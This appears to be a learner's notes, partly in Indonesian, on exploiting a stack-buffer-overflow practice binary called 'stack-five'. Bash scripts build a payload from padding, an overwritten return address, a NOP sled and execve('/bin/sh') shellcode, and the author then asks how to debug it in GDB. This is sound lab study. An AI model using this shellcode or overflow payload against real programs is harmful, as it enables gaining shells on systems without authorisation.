Iseng on t.me/c/1987506309/609/1516

print_piped.c

#include <stdio.h>

int main(void) {
        char buf[10];
        fread(buf, 1, 10, stdin);
        fwrite(buf, 1, 10, stdout);
        return 0;
}

racik.sh

#!/bin/bash

# Specify the desired size in bytes and the string to repeat
desired_size_bytes=128+8  # Ubah sesuai ukuran yang diinginkan
str="y"  # Ganti dengan string yang ingin diulangi
# hex=$(printf '%s' "$str" | xxd -p -u) # if you need an output to be hex format, then uncomment this section
output=""

# Gunakan echo dan tr untuk mengulangi string hingga ukuran yang diinginkan
for ((i = 0; i < $desired_size_bytes / ${#str}; i++)); do
    # output+=$(echo -n "\\x$hex")
    output+=$str
done

echo -n $output > pyld.bin

version_2.sh

#!/bin/bash

# Specify the desired size in bytes and the string to repeat
desired_size_bytes=128+8  # Ubah sesuai ukuran yang diinginkan
str="y"  # Ganti dengan string yang ingin diulangi
# hex=$(printf '%s' "$str" | xxd -p -u) # if you need an output to be hex format, then uncomment this section
output=""

# Gunakan echo dan tr untuk mengulangi string hingga ukuran yang diinginkan
for ((i = 0; i < $desired_size_bytes / ${#str}; i++)); do
    output+=$str
done

echo -n $output > pyld.bin

echo -ne "\x40\xE6\xFF\xFF\xFF\x7F\x00\x00" >> pyld.bin

output=""
desired_size_bytes=8*6
str=$(echo -ne "\x90")

for ((i = 0; i < $desired_size_bytes / ${#str}; i++)); do
    output+=$str
done

# output+=$(echo -ne "\xcc")
# following this tutorial https://www.youtube.com/watch?v=HSlhY4Uy8SA&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=15
# https://shell-storm.org/shellcode/files/shellcode-806.html
output+=$(echo -ne "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

echo -n $output >> pyld.bin

# total = 128+8   +  8  +       8*6   +   27      = 219
#         padding + rip + nop sliding + shellcode

# why we need to add nop sliding?

MAGIC

(cat ~/pyld.bin;cat) | ./stack-five

but I wonder to see the whole process in GDB, but GDB not support piping output to stdin :(
I've tried this one, but it still didn't work